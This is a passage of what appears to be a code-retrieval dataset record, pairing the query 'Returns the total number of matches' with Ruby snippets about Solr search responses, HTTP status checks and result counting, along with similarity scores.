:not_found\n end\n end", "def invalid_document_id_error\n flash.now[:notice] = t('blacklight.search.errors.invalid_solr_id')\n @show_landing_pages = true\n\n # For .xml, .endnote, etc., don't return a webpage\n if params['format']\n render body: nil, status: :not_found\n else\n render 'spectrum/search', status: :not_found\n end\n end", "def check\n if ping?\n mark_message \"Solr ping reported success\"\n else\n mark_failure\n mark_message \"Solr ping reported failure\"\n end\n rescue => e\n mark_failure\n mark_message \"Error: '#{e}'\"\n end", "def parse_response?\n parse_response\n end", "def test_multi_solr_search_return_objects\n records = Book.multi_solr_search \"Napoleon OR Tom\", :models => [Movie], :results_format => :objects\n assert_equal 2, records.total\n classes = records.docs.map {|d| d.class}\n assert classes.include?(Book)\n assert classes.include?(Movie)\n end", "def successful?\n !documents.nil?\n end", "def request_successful(response)\n\t\tresponse.code == \"200\"\n\tend", "def check_rest_response(response)\n assert_not_nil(response.body)\n assert_equal(200, response.code)\n\n result = JSON.parse(response.body)\n\n assert(result['success'])\n assert(result['id'])\n end", "def valid?\n code == 200\n end", "def ok?\n\n if @http_raw_response.kind_of? Net::HTTPNoContent\n #if there is no content expected, use HTTP code\n 204 == @http_status_code\n else\n # otherwise use API status\n @http_raw_response.kind_of? Net::HTTPOK and 0 == @api_status.to_i\n end\n end", "def vulnerable?\n !@results.empty?\n end", "def can_be_bought_for_solr\n result = \"no\"\n result = \"yes\" if available_for_sale == true\n result\n end", "def well_formated_response?\n all_expected_fields_received? && validate_bank_response_signature\n end", "def get_fq_solr_response(fq)\n solr_url = @blacklight_context.connection_config[:url]\n conn = Faraday.new(url: solr_url) do |faraday|\n faraday.request :url_encoded # form-encode POST params\n faraday.adapter Faraday.default_adapter # make requests with Net::HTTP\n end\n facet_request = \\\n \"#{core_url}select?fq=#{fq}&fl=id,title_display,author_display,\\\n isbn_display,issn_display,lccn_display,oclc_s,holdings_1display,electronic_portfolio_s\\\n &rows=#{@rows}&wt=json\"\n conn.get facet_request\n end", "def show\n @response = get_solr_response_for_doc_id\n @document = SolrDocument.new(@response.docs.first)\n respond_to do |format|\n format.html {setup_next_and_previous_documents}\n format.xml {render :xml => @document.marc.to_xml}\n format.refworks\n format.endnote\n end\n rescue ActiveRecord::RecordNotFound \n logger.error(\"Attempt to access invalid id: #{params[:id]}\") \n flash[:notice] = \"Sorry, I can't find the item you requested.\" \n redirect_to :action => 'index' \n rescue \n logger.error(\"Error encountered when trying to access: #{params[:id]}\") \n flash[:notice] = \"Sorry, you seem to have encountered an error.\" \n redirect_to :action => 'index', :q => nil , :f => nil\n end", "def ok?(response)\n case response\n when Net::HTTPSuccess\n true\n else\n false\n end\n end", "def does_title_exist(title_no)\n\n response = rest_get_call($SYSTEM_OF_RECORD_API_DOMAIN + '/titles/' + title_no)\n\n if (response.code == '404') then\n return false\n else\n return true\n end\n\nend", "def check_response!\n body[:stat] == 'ok' || fail(ClientError, \"#{ body.inspect }\")\n end", "def can_return_results\n if self.accession_list.blank? && self.search_terms.empty? && self.facet_filters.empty?\n errors.add(:base, \"You must supply either search terms, facet filters, or an accession list\")\n end\n end", "def validated?\n !@result.nil?\n end", "def silly_fd_inconsistency(status, response)\n # FD will return 404 when updating a contact, who is an agent. So if someone from staff is\n # a ticket sender, we won't be able to update the ticket.\n return true if status == 404\n\n begin\n response = JSON.parse(response)\n\n # Freshdesk will not allow to update description if the member name contains /, \", wwww.\n # But it ALLOWS such requesters to be created in the first place.\n # Result: such requesters cannot be updated via API without chaning their name.\n return true if response['errors'].any? { |x|\n x['field'] == 'name' && x['message'] == \"/,\\\",www. not allowed in name\"\n }\n\n false\n rescue JSON::ParserError\n false\n end\n end", "def exact_match\n @solr_data[:exact_match]\n end", "def ok? \n @response.is_a? Net::HTTPOK\n end", "def parse_response?\n parse_response\n end", "def complete?\n params[\"x_response_code\"] == '1'\n end", "def num_found\n\n if @solr_response[\"response\"] != nil\n # Normal Solr query\n return @solr_response[\"response\"][\"numFound\"]\n end\n\n if @solr_response[\"grouped\"] != nil\n # Grouped Solr query.\n total = 0\n @solr_response[\"grouped\"].keys.each do |key|\n total += @solr_response[\"grouped\"][key][\"matches\"]\n end\n return total\n end\n\n return 0\n rescue\n 0\n end", "def complete?\n params[\"x_response_code\"] == '1'\n end", "def test_multi_solr_search_return_ids\n records = Book.multi_solr_search \"Napoleon OR Tom\", :models => [Movie], :results_format => :ids\n assert_equal 2, records.total\n assert records.docs.include?({\"id\" => \"Movie:1\"})\n assert records.docs.include?({\"id\" => \"Book:1\"})\n end", "def getSolrDescription\n uri = URI.parse(\"http://#{@host}:#{@port}/solr/admin/cores\")\n out = Net::HTTP.get_response(uri)\n if out.code.to_i == 200 \n return out.body\n else \n STDERR.puts \"Error reaching Solr: \" + \n \"#{out.header.code} -- #{out.header.message}\"\n return nil\n end \n end", "def solr_resp_ids_from_query(query)\n solr_resp_doc_ids_only({'q'=> query})\nend", "def can_be_hired_for_solr\n result = \"no\"\n result = \"yes\" if available_for_hire == true\n result\n end", "def location_invalid?\n @response.nil? || \n @response[\"weather\"] && @response[\"weather\"].is_a?(Array) && @response[\"weather\"].first.has_key?(\"problem_cause\")\n end", "def num_corpus_documents\n @corpus_size ||= begin\n solr_query = {}\n solr_query[:q] = '*:*'\n solr_query[:qt] = 'precise'\n solr_query[:rows] = 1\n solr_query[:start] = 0\n \n solr_response = Solr::Connection.find solr_query\n \n if solr_response[\"response\"] &&\n solr_response[\"response\"][\"numFound\"]\n solr_response[\"response\"][\"numFound\"]\n else\n # FIXME: Should we raise an error here?\n 1\n end\n end\n end", "def response_successful?(response)\n return false if response.body[\"errors\"]\n response.success?\n end", "def solr\n @solr_fields = get_solr_fields\n @solr_info = get_solr_information\n end", "def fresh?(response); end", "def ping_solr\n begin\n solr = RSolr.connect :url => 'http://localhost:8983/solr'\n response = solr.get 'select', :params => {:q => '*:*'}\n puts 'Solr is up!'\n return\n rescue Errno::ECONNREFUSED\n puts 'Solr not up yet, sleeping for 10 seconds... zzz'\n sleep 10\n ping_solr\n end\n end", "def get_solr_response_for_doc_id(doc_id)\n # TODO: shouldn't hardcode id field; should be setable to unique_key field in schema.xml\n # Note: hardcoding is also in rsolr connection base find_by_id() method\n solr_params = {:qt=>:document, :id=>doc_id}\n raw_response = Blacklight.solr.select(solr_params)\n RSolr::Ext::Response::Standard.new(raw_response)\n end", "def index\n @response = get_search_results\n @filters = params[:f] || []\n respond_to do |format|\n format.html { save_current_search_params }\n format.rss { render :layout => false }\n end\n=begin\n rescue RSolr::RequestError\n logger.error(\"Unparseable search error: #{params.inspect}\" ) \n flash[:notice] = \"Sorry, I don't understand your search.\" \n redirect_to :action => 'index', :q => nil , :f => nil\n rescue \n logger.error(\"Unknown error: #{params.inspect}\" ) \n flash[:notice] = \"Sorry, you've encountered an error. Try a different search.\" \n redirect_to :action => 'index', :q => nil , :f => nil\n=end\n end", "def ok?\n # first_document[OK] is a float, and the server can return\n # ok as a BSON int32, BSON int64 or a BSON double.\n # The number 1 is exactly representable in a float, hence\n # 1.0 == 1 is going to perform correctly all of the time\n # (until the server returns something other than 1 for success, that is)\n first_document[OK] == 1\n end", "def valid?\n @http_response.is_a?(Net::HTTPSuccess) && @errors.blank?\n end", "def error?\n response = RequestResponse.new\n err_resp = get_last_error\n err_resp.callback do |doc|\n response.succeed doc['err'] != nil\n end\n err_resp.errback do |err|\n response.fail err\n end\n response\n end", "def results\n @solr_data[:docs]\n end", "def valid_response?(message)\n return true\n end", "def communication_status_for_solr\n return status\n end", "def test_site_data_response\n resp = @awis.query(:site_data)\n\n assert(resp.is_success?)\n assert(resp.title == 'Yahoo!')\n assert(resp.onlinesince == '18-Jan-1995')\n end", "def check_presence\n render :json => {:ok => Tag.where(:word => params[:word]).any?}\n end", "def silverpop_successful?(doc)\n %w[true success].include?(result_dom(doc)['SUCCESS'].downcase) rescue false\n end", "def check_response\n unless (res = get).valid?\n raise BadResponse, \"#{res.code} #{res['Code'].first}\"\n end\n\n res\n end", "def check_exists\n @unscraped = Unscraped.check_exists(unscraped_params)\n\n if @unscraped\n respond_to do |format|\n format.html { redirect_to @unscraped }\n #format.json { render json: @unscraped }\n format.json { render :show, location: @unscraped }\n end\n else\n respond_to do |format|\n format.html { render :nothing => true, :status => 200, :content_type => 'text/html' }\n format.json { render json: {}, :status => 200, :content_type => 'application/json' }\n end\n end\n end", "def sms \n @response = get_solr_response_for_doc_id\n @document = SolrDocument.new(@response.docs.first)\n end", "def ok?\n @status == 200\n end", "def check_dog_result(r, accepted_codes = ['200'])\n raise DogApiException, r unless accepted_codes.include?(r[0])\n end", "def has_records? results\n not results.nil? and results.fetch('SearchResult', {}).fetch('Data', {}).fetch('Records', []).count > 0\n end", "def success?\n @response.code == \"200\"\n end", "def valid_whois?\n @status == '200' && parser.valid_whois?\n end", "def response?\n !response.nil?\n end", "def hasResults?\n ! @results.empty?\n end", "def transact_successful?(doc)\n doc != nil &&\n doc.elements['XTMAILING_RESPONSE'] != nil &&\n doc.elements['XTMAILING_RESPONSE'].elements['ERROR_CODE'] != nil\n end", "def response_must_validate_against_schema\n check_validity_against_schema(doc, 'application_response.xsd')\n end", "def valid_response\n Rack::Response.new('OK').finish\nend", "def unrecognizedResponse( text )\n end", "def results?() ! find(locator(:no_results_message)) end", "def valid?(result)\n return true if result[\"translation\"] || result[\"basic\"] || result[\"web\"]\n false\n end", "def check_error_response(last_response)\n refute_match 'Sinatra doesn&rsquo;t know this ditty', last_response.body, \"unmatched url\"\n end", "def request_succeeded?\n @errors.blank? && [200,0].member?(@response_code)\n end", "def ok\n response_json.fetch(\"ok\", false)\n end", "def test_can_get_no_entries\n get '/api/entries'\n assert last_response.ok?\n assert_equal [], parse_json_resp(last_response)\n end", "def check_conceptwiki ()\n\tputs \"InnerProxy.check_conceptwiki...\"\n\t\t# check to see if endpoint is responding\n\t\t#\t\tapi_method = 'proteinInfo'\n\t\t#\t\tprot_uri = 'http://chem2bio2rdf.org/chembl/resource/chembl_targets/12261'\n\t\tprot_uri = OPS_API_FREETEXT_SEARCH_URL\n#\t\tprot_uri = prot_uri + 'byTag'\n\t\toptions = Hash.new\n\t\toptions[:limit] = 1\n\t\toptions[:offset] = 0\n\t\toptions[:q] = 'tp53' # default test\n\t\toptions[:uuid] = CONCEPT_WIKI_TP53_UUID\n\n\t\t# prot_uri = prot_uri+ \"?uuid=#{options[:uuid]}&q=#{options[:q]}\"\n\t\tprot_uri = prot_uri+ \"?q=#{options[:q]}\"\n\t\tprot_uri = prot_uri + \"&app_id=#{OPS_API_ID}&app_key=#{OPS_API_KEY}\"\n#\t\turl = URI.parse(prot_uri) rescue prot_uri\n#\t\t url = checkEndpoints()\n\t\tresult = nil\n\t result = LibUtil.request(prot_uri, {})\n=begin\n\t\tTimeout::timeout (TIMEOUT) do\n\t\t\tresult = request(prot_uri)\n\t\tend\n=end\n\n# OJO\n#\t\t@endpoint_ready = @urlMap[CONCEPT_WIKI_API_SEARCH_URL]\n#\t\treturn false\n# EO OJO\n\t\tputs \"checkConceptWiki result: #{result} for #{prot_uri}\"\n\t\tif result == nil || result.code.to_i < 0\n\t\t\t@endpoint_ready = @urlMap[OPS_API_FREETEXT_SEARCH_URL]\n\t\t\tfalse\n\t\telse\n\t\t\t@endpoint_ready = OPS_API_FREETEXT_SEARCH_URL\n\t\t\ttrue\n\t\tend\n\tend" ]
[ "0.6933756", "0.6826667", "0.6366733", "0.6313343", "0.628512", "0.6097142", "0.60822487", "0.6044353", "0.6037128", "0.601109", "0.59492934", "0.59212875", "0.591325", "0.5903227", "0.5867769", "0.5837197", "0.5834673", "0.5829921", "0.5782022", "0.57694876", "0.57681274", "0.57273185", "0.57170546", "0.57168466", "0.5689547", "0.5683884", "0.56788844", "0.56782347", "0.56668067", "0.56592494", "0.5644137", "0.56354845", "0.56354845", "0.5632503", "0.5629308", "0.5611961", "0.56090957", "0.5607417", "0.5602637", "0.5602285", "0.5601671", "0.5599934", "0.55977803", "0.55937994", "0.5588055", "0.55878174", "0.5584933", "0.5563883", "0.55635333", "0.5554197", "0.5546394", "0.55425334", "0.5540447", "0.55361646", "0.5533558", "0.55283666", "0.5520227", "0.55173373", "0.55101717", "0.55023324", "0.5498577", "0.54942137", "0.5483136", "0.5479896", "0.5469031", "0.5467002", "0.5466198", "0.54652846", "0.5463181", "0.54607165", "0.54541004", "0.5446424", "0.54433423", "0.54399896", "0.5439237", "0.5437421", "0.5430702", "0.54286474", "0.5418972", "0.5417149", "0.541192", "0.54084885", "0.5408384", "0.54050744", "0.5404752", "0.54024625", "0.53973395", "0.53964376", "0.5380194", "0.53790796", "0.53775305", "0.53712696", "0.5371123", "0.5369947", "0.5369711", "0.5366338", "0.536451", "0.5357538", "0.53508437", "0.5349728" ]
0.5635302
33
Returns the total number of matches
def total @total ||= raw_response['response']['numFound'] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def matched_count\n @results[MATCHED_COUNT]\n end", "def total_count #:nodoc:\n total == 1 && !@group.nil? && @group['matches'] > 1 ? @group['matches'] : total\n end", "def return_count\n return @matchedCount\n end", "def total_matches_played\n count = 0\n\n matches.each do |match|\n unless match.finalized_date == nil \n count += 1\n end\n end\n\n count\n end", "def exact_match_count\n (0..3).inject(0) do |count, index|\n count + (exact_match?(index) ? 1 : 0)\n end\n end", "def count\n Jhead.call(\"-c\", @match, @pattern).split(\"\\n\").size\n end", "def total\n #use group matches instead of numFound for grouped response\n if response[:numFound].nil? \n self[:grouped][blacklight_config['index']['group']]['matches'].to_s.to_i \n else \n response[:numFound].to_s.to_i\n end\n end", "def count\n # There are two occurrences, but they are the same\n total = first locator(:total)\n return total.text.to_i if total\n results? ? raise(RuntimeError, \"Couldn't determine result count\", caller) : 0\n end", "def num_matches\n count = 0\n other_answers.each do |a|\n count += 1 if base_answer.food_groups == a.food_groups\n end\n count\n end", "def matched_size\n m = @match\n m.to_s.size if (not m.equal?(nil))\n end", "def count_duplicate_matches(matches)\n matches.map { |match| matches_hash[Set.new match] }.reduce(0, :+)\n end", "def num_found\n\n if @solr_response[\"response\"] != nil\n # Normal Solr query\n return @solr_response[\"response\"][\"numFound\"]\n end\n\n if @solr_response[\"grouped\"] != nil\n # Grouped Solr query.\n total = 0\n @solr_response[\"grouped\"].keys.each do |key|\n total += @solr_response[\"grouped\"][key][\"matches\"]\n end\n return total\n end\n\n return 0\n rescue\n 0\n end", "def num_near_matches(guess)\n counter = 0\n guess.pegs.each { |peg| counter += 1 if @pegs.include?(peg) }\n counter - num_exact_matches(guess)\n end", "def num_exact_matches(code)\n matches = 0\n @pegs.each_with_index {|peg, i| matches += 1 if peg == code[i] }\n return matches\n end", "def count\n size = 0\n core_search.group(\"name.id, #{main_group_by_columns}\").each do |_x|\n size += 1\n end\n size\n end", "def inc_match\n @matchedCount += 1\n end", "def update_total_matches\n self.correct_matches = (maker.code.select.with_index { |v, i| v == breaker.guess[i] }).length\n self.matches = 4 - (maker.code - breaker.guess).length - correct_matches\n end", "def count_matches( n )\n i = 1\n p = n\n while p.to_s.size == i\n p *= n\n i += 1\n end\n i - 1\n end", "def num_near_matches(guess_object)\n pegs = guess_object.pegs\n count = 0\n pegs.each_with_index do |char, i|\n count += 1 if @pegs.include?(char) && char != @pegs[i]\n end\n count\n end", "def calculate_total_predictions(match)\n match.predictions.count.to_f\n end", "def exact_matches(other_code)\n num_matches = 0\n self.pegs.each_with_index do |code, index|\n if(code == other_code[index])\n num_matches += 1\n end\n end\n num_matches\n end", "def all_hits_count\n return @all_results.length || 0\n end", "def matcher(match)\n match = match.flatten.uniq\n match.each do |m|\n @counter.count(m)\n end\n end", "def _match_count (substr, text)\n return 0 if (!text || !substr)\n\n count = 0\n offset = 0\n while (result = text.index(substr, offset))\n count += 1\n offset = result + 1\n end\n count\n end", "def num_exact_matches(code)\n self.pegs.zip(code.pegs).count { |(a,b)| a == b }\n end", "def word_count\n @tried_solutions.length\n end", "def count\n Integer(parsed_body['meta']['total_results'])\n end", "def total_points\n\n points = 0\n wattball_matches_as_team1.each do |match|\n points += match.points(1) || 0\n end\n\n wattball_matches_as_team2.each do |match|\n points += match.points(2) || 0\n end\n\n points\n end", "def num_hits; @hits.size; end", "def num_hits; @hits.size; end", "def num_hits; @hits.size; end", "def number_of_results(results)\n printf(\"\\n%<results>d results found.\\n\\n\", results: results.length)\n end", "def increment_matches_metric\n metric_increment(:matches)\n end", "def matchedsize\n warn \"StringScanner#matchedsize is obsolete; use #matched_size instead\" if $VERBOSE\n matched_size\n end", "def total\n response[:numFound].to_s.to_i\n end", "def test_size\n @results.map {|node_name, classes|\n classes.size\n }.reduce(:+) || 0\n end", "def total_hits_count\n return top_hits_count + all_hits_count\n end", "def love(string1, string2)\n matches = string1.count(string2) #.count returns number of matches \n total = string1.length + string2.length #\n puts total/matches;\nend", "def hit_count()\n #This is a stub, used for indexing\n end", "def calculate\n @text.scan(\"#{@keyword}\").size\n end", "def played_matchs_season(round, season = nil)\n count = 0\n matchs = find_matchs(round, season)\n\n matchs.each do |match|\n if match.finished?\n count += 1\n end\n end\n count\n end", "def filtered_hits_count\n return @filtered_results.length || 0\n end", "def exact_matches\n matches = 0\n 4.times{ |x| matches += 1 if @num_guess[x] == @code[x] }\n matches\n end", "def num_matches_in_file(fname, match_regexp)\n\n num_lines_per_batch = 5000\n\n num_matched = 0\n\n if File.exist? fname\n File.open(fname, \"r\") do |f|\n\n # use an enumerator to read just (num_lines_per_batch) lines at a time\n f.lazy.each_slice(num_lines_per_batch) do |lines|\n\n num_matched += lines.select { |line| line.match(match_regexp) }.count\n\n end\n\n end\n else\n num_matched = 0\n end\n\n num_matched\n end", "def repeated_matches\n\t\t@@logger.info { \"Retrieving repeated matches.\" } if have_logger?\n\t\tMatch.dataset.filter(:tournament_id => self.id).filter(:repeated => true).all.length\n\tend", "def max_matches\n @max_matches || 1000\n end", "def num_results(_args = {})\n @num_results ||= result_ids&.count || 0\n end", "def count_matcher submatcher, method\n lambda do |string, index = 0, counts:|\n result = submatcher.call(string, index, counts: counts)\n\n if !Matchers.match?(result) || result.size.send(method, counts[result.name])\n result\n end\n end\n end", "def total_results\n numberOfRecords\n end", "def total_results\n numberOfRecords\n end", "def find_counts()\n # Search through given fields for given text\n counts = Array.new\n find_text = @replace['replace']['find']\n @replace['replace']['tables'].each do |table, fields|\n query = find_query(find_text, table, fields.clone)\n @dbconn.query(query).each do |row|\n count_hash = {table: table, fields: fields, count: row['total']}\n counts.push count_hash\n end\n end\n counts\n end", "def move_count; @move_count ||= match.moves.count; end", "def count\n self.wordcounts.map(&:count).inject(0, :+)\n end", "def goals_against_season(round, season = nil)\n count = 0\n matchs = find_matchs(round, season)\n\n matchs.each do |match|\n count += match.goals_against(self) if match.finished?\n end\n\n count\n end", "def length; return @results.length; end", "def games_played\n self.results.to_a.count\n end", "def test_total_hits\n q = '*:title OR *:comment'\n assert_equal 3, Comment.total_hits(q)\n assert_equal 2, Content.total_hits(q)\n assert_equal 5, ActsAsFerret::total_hits(q, [ Comment, Content ])\n end", "def total_count(options)\n filter = options[:filter] || '/./'\n filter = Regexp.new $1 if filter =~ /\\/(.*)\\//\n\n Minitest::Runnable.runnables.map(&:runnable_methods).flatten.find_all { |m|\n filter === m || filter === \"#{self}##{m}\"\n }.size\n end", "def total_movies\n search_by_text('всего фильмов').to_i\n end", "def total_results\n @set['totalResults'].to_i\n end", "def getMatchCount\n\t\trender json: Match.count(:user1 => params[:twitter_id])\n\tend", "def match(search)\n search_words = words(search)\n haystack_words = words(haystack)\n\n (\n search_words.count { |search_word| haystack_words.include? search_word } /\n search_words.count.to_f *\n 100\n ).round\n rescue ZeroDivisionError\n 0\n end", "def matchup_count(season = 2015)\n r = Record.find_by(team_id: self.id, year: season)\n r.wins + r.losses + r.ties\n end", "def get_total_games_played\n return games.size\n end", "def num_researched\n @num_researched ||= worth_counting { count_researched }\nend", "def total_num_assignment_teams\n assignment_team_counts.inject(:+)\n end", "def count\n cnt = 0\n begin\n if block_given?\n scanner = htable.getScanner(filtered_scan)\n scanner.each do |result|\n cnt += 1 if yield(Result.send(:new, result))\n end\n else\n scanner = htable.getScanner(filtered_scan_minimum)\n scanner.each { cnt += 1 }\n end\n ensure\n scanner.close if scanner\n end\n cnt\n end", "def exact_matches(loc=@counter)\n matches = 0\n 4.times{ |x| matches += 1 if @guessgrid[loc][x] == @code[x] }\n matches\n end", "def number_of_stats_skillz(text)\n result = 0\n @statistics_skillz.each do |s|\n if text.downcase.include?(s)\n result += 1\n end\n end\n return result\nend", "def total_count\n @all.size\n end", "def size\n @set['includedResults'].to_i\n end", "def count_setter submatcher\n lambda do |string, index = 0, counts:|\n submatcher.call(string, index, counts: counts)\n .tap do |result|\n counts[result.name] = result.size if match? result\n end\n end\n end", "def count\n each.size\n end", "def total_rounds\n matches_per_round = users.count / 2\n total_matches = (users.count - 1) * matches_per_round\n total_rounds = total_matches / matches_per_round\n\n total_rounds\n end", "def sum_of_a_beach (beach)\n (beach.scan(/sand|water|fish|sun/i) || []).length\nend", "def count\n raw_history['num_results']\n end", "def my_count(pattern = nil)\n if(block_given?)\n counter = 0\n self.my_each do |x|\n counter += 1 if yield(x)\n end\n return counter\n else\n if(pattern.nil?)\n return self.length \n else\n counter = 0\n self.my_each do |x|\n counter += 1 if x == pattern\n end\n return counter\n end\n end\n \n end", "def count_passing\n return self.passing_tests.size\n end", "def nearby_count(search_for)\n count = 0\n DIRECTIONS.each do |direction|\n count += 1 if space(direction).send(search_for)\n end\n return count\n end", "def num_similar_links\n num_elements(\".sim a\")\n end", "def occurences_count\n\t\t\t\t\t\tHash.new(0).tap do |result|\n\t\t\t\t\t\t each { |item| result[item] += 1 }\n\t\t\t\t\t\tend\n\t\t\t\tend", "def total_entries\n populate\n return 0 if @results[:total_found].nil?\n \n @total_entries ||= @results[:total_found]\n end", "def count\n all.size\n end", "def nonadword_count_total(page)\n\t\tnonadword_urls(page).length\n\tend", "def participants_count(name)\n text = self.span(:class=>\"s3d-search-result-name\",:text=>name).parent.parent.parent.link(:title=>/\\d+.participant/).text\n text[/\\d+/].to_i\n end", "def count\n each.count\n end", "def win_matchs_season(round, season = nil)\n count = 0\n matchs = find_matchs(round, season)\n\n matchs.each do |match|\n if match.is_winner?(self) and match.finished?\n count += 1\n end\n end\n count\n end", "def get_total_games_played\n\t\treturn games.size\n\tend", "def top_hits_count\n return @top_results.length || 0\n end", "def total\n @doclist['numFound']\n end", "def numberOfResults\n @@numberOfResults\n end", "def total_num_team_reviews\n team_review_counts.inject(:+)\n end", "def total_count\n raw_history['total_results']\n end", "def count\n @target.count.to_i\n end", "def success_count\n examples_total - examples_pending - examples_failed\n end", "def count \n puts \"Tu as scrappé #{@result_scrap.count} élémént(s)\"\n return @result_scrap.count\n end", "def length\n @results_list.count\n end", "def count\n filtered = apply_criteria(@data)\n filtered.count\n end", "def count\n @rules.size\n end", "def matches_won(user)\n home_matches = user.home_matches.find_all_by_ended(true)\n away_matches = user.away_matches.find_all_by_ended(true)\n home_matches.select { |match| match.homegoals > match.awaygoals }.count +\n away_matches.select { |match| match.homegoals < match.awaygoals }.count\n end", "def count( query )\n data = index_request({ \"q\" => query })\n return data[\"response\"][\"numFound\"]\n end" ]
[ "0.82901007", "0.80776954", "0.7849813", "0.7797178", "0.7733856", "0.75885314", "0.75271666", "0.74795", "0.73759544", "0.7250011", "0.72131175", "0.7157691", "0.70960706", "0.70863444", "0.6987721", "0.6972723", "0.69141847", "0.6886655", "0.68537", "0.68452084", "0.68099105", "0.67931855", "0.6768855", "0.6766489", "0.6749223", "0.6714486", "0.6706594", "0.67063284", "0.66551983", "0.66551983", "0.66551983", "0.6644152", "0.6614336", "0.66101336", "0.6604602", "0.65958667", "0.65946555", "0.65676093", "0.6547778", "0.65383273", "0.6513843", "0.65110767", "0.6497867", "0.6479811", "0.64746934", "0.6460986", "0.6446984", "0.6444583", "0.6422265", "0.6422265", "0.6411154", "0.64038986", "0.6372251", "0.6363865", "0.63472486", "0.63268566", "0.63250417", "0.62958556", "0.62743163", "0.62692755", "0.6265838", "0.6260534", "0.6253134", "0.62363905", "0.6217688", "0.6212748", "0.6205624", "0.6202371", "0.61956954", "0.6180644", "0.61803585", "0.61688673", "0.61686873", "0.6166625", "0.6166121", "0.616093", "0.6157917", "0.6155078", "0.6150965", "0.6138348", "0.6119685", "0.6118574", "0.6118438", "0.6115856", "0.61145556", "0.61100465", "0.61087173", "0.60985446", "0.60967976", "0.60953456", "0.6081711", "0.60810906", "0.6063594", "0.60631084", "0.60502493", "0.60475385", "0.6045391", "0.6045034", "0.60445976", "0.6041478", "0.60347414" ]
0.0
-1
Returns true if there no results
def blank? raw_response.blank? || total < 1 end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def hasResults?\n ! @results.empty?\n end", "def empty?\n self.results.empty?\n end", "def has_results?\n true\n end", "def results?() ! find(locator(:no_results_message)) end", "def nothing_found?\n @matching_documents.nil? or @matching_documents.entries.empty?\n end", "def no_results\n print \"0 results found. \\n\"\n end", "def no_more?\n more_results == :NO_MORE_RESULTS\n end", "def check_for_no_results(hash_of_results)\n if hash_of_results[JSON_NUMBER_OF_RESULTS] == 0\n puts 'No results, try again'\n go\n end\n end", "def more_results?()\n #This is a stub, used for indexing\n end", "def has_records? results\n not results.nil? and results.fetch('SearchResult', {}).fetch('Data', {}).fetch('Records', []).count > 0\n end", "def has_results?\n !(name == 'aggregate' &&\n pipeline.find {|op| op.keys.include?('$out') })\n end", "def empty?\n return @querys.empty?\n end", "def present?\n results.any?\n end", "def vulnerable?\n !@results.empty?\n end", "def result?\n false\n end", "def complete_result?\n @result_count < 1000\n end", "def empty?\n load # make sure we have determined the number of fetched records\n\n @number_of_records.zero?\n end", "def empty?\n @data.rows_count <= 0\n end", "def any_results?\n races.any?(&:any_results?)\n end", "def queries_empty? queries\n queries.blank?\n end", "def any?\n !total_pages.zero?\n end", "def not_finished?\n more_results == :NOT_FINISHED\n end", "def empty?\n total_count == 0\n end", "def empty?\n total_count == 0\n end", "def empty?\n @total == 0\n end", "def nothingToSearch? \n\t\treturn $toSearch.empty? \n\tend", "def result?\n !@result.equal?(NOT_SET)\n end", "def ok?\n skip? || @result\n end", "def just_shown_results?\n return true if get[just_shown_key]\n end", "def empty?\n return true unless @all\n @all.empty?\n end", "def empty?\n record_count == 0\n end", "def empty?\n return @records.empty? if loaded?\n\n if limit_value == 0\n true\n else\n # FIXME: This count is not compatible with #select('authors.*') or other select narrows\n c = count\n c.respond_to?(:zero?) ? c.zero? : c.empty?\n end\n end", "def empty?\n count == 0\n end", "def empty?\n count == 0\n end", "def empty?\n count <= 0\n end", "def empty?\n count == 0\n end", "def empty?\n count.zero?\n end", "def empty?\n count.zero?\n end", "def empty?\n count.zero?\n end", "def empty?\n @records.empty?\n end", "def empty?\n @count == 0\n end", "def empty?\n @count == 0\n end", "def empty?\n @count == 0\n end", "def empty?\n @count == 0\n end", "def ran?\n @result != Result::NoResult\n end", "def success?\n return @stats.missing_tags.empty?\n end", "def empty?\n find.limit(1).has_next? == false\n end", "def response?\n !self.query?\n end", "def empty?\n return @records.empty? if loaded?\n\n c = count\n c.respond_to?(:zero?) ? c.zero? : c.empty?\n end", "def empty?\n self.count == 0\n end", "def empty?\n self.count == 0\n end", "def query?\n !qr?\n end", "def empty?\n rows.empty?\n end", "def search_result_page_existed?\r\n displayed?\r\n end", "def empty?\n total_pages.zero?\n end", "def single?\r\n @headers[\"results\"].nil?\r\n end", "def empty?\n @rows.empty?\n end", "def empty?(response); end", "def empty?\n @rows.empty? if @rows\n end", "def empty?\n @rows.empty?\n end", "def empty?\n @rows.empty?\n end", "def empty?\n @rows.empty?\n end", "def exists?\n if performed?\n total != 0\n else\n limit(0).terminate_after(1).total != 0\n end\n end", "def expects_none?\n count_specified? ? matches_count?(0) : false\n end", "def empty?\n self.responses.empty?\n end", "def empty?\n count.zero?\n end", "def is_empty()\n @requests.empty?\n end", "def empty?\n return false\n end", "def empty?\n all.empty?\n end", "def result?\n true\n end", "def in_progress?\n result.nil?\n end", "def get_results\n # 1. if the search is blank do NOT run the search (handled in subclasses)\n !self.search_text.blank? && !self.search_query.blank? && !self.search_type.blank? && !self.search_locale.blank?\n end", "def empty?\n @row >= @data.rows_count\n end", "def not_found?\n @flags.empty?\n end", "def has_no_readings?\n readings.size.eql?(0)\n end", "def empty?\n graph.query({subject: subject, predicate: RDF.first}).empty?\n end", "def empty?\n @items.count == 0\n end", "def empty?\n @iterator.nil?\n end", "def empty?\n @q.empty?\n end", "def empty?\n qr_responses.blank? && sip_responses.blank?\n end", "def any?\n false\n end", "def empty?\n RECORDS.each do |name, _|\n return false unless @records[name].empty?\n end\n true\n end", "def display_no_data\n if Movie.find_all.count == 0 and Episode.find_all.count == 0\n log(\"no new media found\")\n end\nend", "def empty?\n find_users.empty?\n end", "def exist?\n !count.zero?\n end", "def exists?\n !count.zero?\n end", "def empty?\n iterator.nil?\n end", "def found?\n return false if no_search\n\n id.present? || records.present?\n end", "def isEmpty?\n\t\treturn self.offerings.count == 0\n\tend", "def empty?\n @q.empty?\n end", "def empty?\n data.nil? ? true : data.rows.empty?\n end", "def query_yields_boolean?\n false\n end", "def empty?\n false\n end", "def empty\n @count == 0\n end", "def empty?\n questions.empty? and\n answers.empty? and\n nameservers.empty? and\n additional_records.empty?\n end", "def empty?\n @by_id.empty?\n end", "def show_zero_point_source_results?\n show_zero_point_source_results\n end", "def is_empty()\n return @items.empty?\n end", "def empty?\n entries.empty?\n end", "def empty?\n entries.empty?\n end" ]
